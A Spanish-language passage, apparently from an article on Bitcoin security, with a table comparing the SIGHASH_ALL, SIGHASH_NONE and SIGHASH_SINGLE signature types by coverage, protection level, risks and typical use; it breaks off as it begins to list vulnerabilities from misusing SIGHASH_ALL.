| SIGHASH_ALL | Todas las entradas y salidas de la transacción | Máximo – sin cambios en absoluto | Requerimiento de cambio (necesidad de volver a firmar la transacción) | Estándar para la mayoría de pagos |
| SIGHASH_NONE | Todas las entradas, ninguna salida | Medio – las salidas no están protegidas | Sustitución de salidas, pérdida de control sobre los destinatarios | Escenarios cooperativos, multi-firma |
| SIGHASH_SINGLE | Todas las entradas, salida con índice correspondiente a la entrada | Bajo – solo una salida estará protegida | Error en ausencia de la salida correspondiente, sustitución parcial | Pagos parciales, escenarios complejos |
El uso incorrecto o la falta de una implementación correcta de SIGHASH_ALL en las firmas de transacciones de Bitcoin puede generar vulnerabilidades graves que afectan la seguridad de los fondos y la integridad del sistema. Los aspectos clave de estas vulnerabilidades son: